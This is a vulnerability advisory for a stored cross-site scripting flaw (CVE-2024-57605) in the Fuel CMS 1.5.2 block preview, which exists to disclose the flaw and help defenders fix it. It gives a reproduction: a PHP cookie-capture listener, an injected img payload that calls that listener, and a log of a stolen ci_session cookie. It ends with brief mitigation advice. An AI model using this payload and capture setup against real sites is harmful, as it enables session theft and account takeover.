| Type | software | 
| Product Environment | - | 
| Product Name | Fuel CMS | 
| Product Vendor | Daylight Studio | 
| Product Version | 1.5.2 | 
| Product Link | https://github.com/daylightstudio/FUEL-CMS | 
| Vulnerability Name | Cross-Site Scripting | 
| Severity | High | 
| CVSS String | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L | 
| CVSS Score | 7.3 | 
| CVE ID | CVE-2024-57605 | 
| Vendor Acknowledgement | No | 
| Affected digital Assets | 1000 | 
| Affected Users | 10000 | 
| Date of Reporting | Jan 08, 2025 | 
| PoC Exploit | https://gist.github.com/0xHamy/b2674eeffd1f73af96d29f152c47bcbd | 
| Credit | 0xhamy | 
Fuel CMS 1.5.2’s editor preview feature executes user-supplied HTML when a block/post is previewed. An attacker who can create or edit a block (or trick an editor to save content) can embed malicious HTML that runs during the preview, enabling XSS-based impacts such as session theft, account takeover, or unauthorized actions.
Save the provided PHP capture script locally as capture.php:
https://gist.github.com/0xHamy/b2674eeffd1f73af96d29f152c47bcbd
Start a local PHP server to serve that file:
php -S 0.0.0.0:1718
Log into FuelCMS and navigate to Blocks:
http://127.0.0.1/fuelcms/fuel/blocks
Create a block (or edit an existing one), then open the edit view for the block, e.g.:
http://127.0.0.1/fuelcms/fuel/blocks/edit/1
In the block’s large textarea (the view field), insert the payload and save:
<img src='http://127.0.0.1:1718/capture.php' alt='dune'>
Click the Preview button for the block. Your PHP server will show incoming connections confirming the preview rendered the injected HTML, e.g.:
[Wed Jan  8 10:09:20 2025] 127.0.0.1:53440 Accepted
[Wed Jan  8 10:09:20 2025] 127.0.0.1:53440 [200]: GET /capture.php
[Wed Jan  8 10:09:20 2025] 127.0.0.1:53440 Closing
Inspect cookie_log.txt on the PHP server to see captured cookies (from the original test):
[2025-01-08 15:09:20] Cookies: _ga_90PNJH7CQ5=GS1.1.1735826854.1.1.1735826858.0.0.0; _ga=GA1.1.305814098.1735826855; ci_session=r0qirem7e4s1ascfhp4v60a82i02vlnr
<iframe>) and apply a strict Content Security Policy that disallows inline scripts and restricts external resources.HttpOnly, Secure, and set an appropriate SameSite attribute to reduce theft risk via injected content.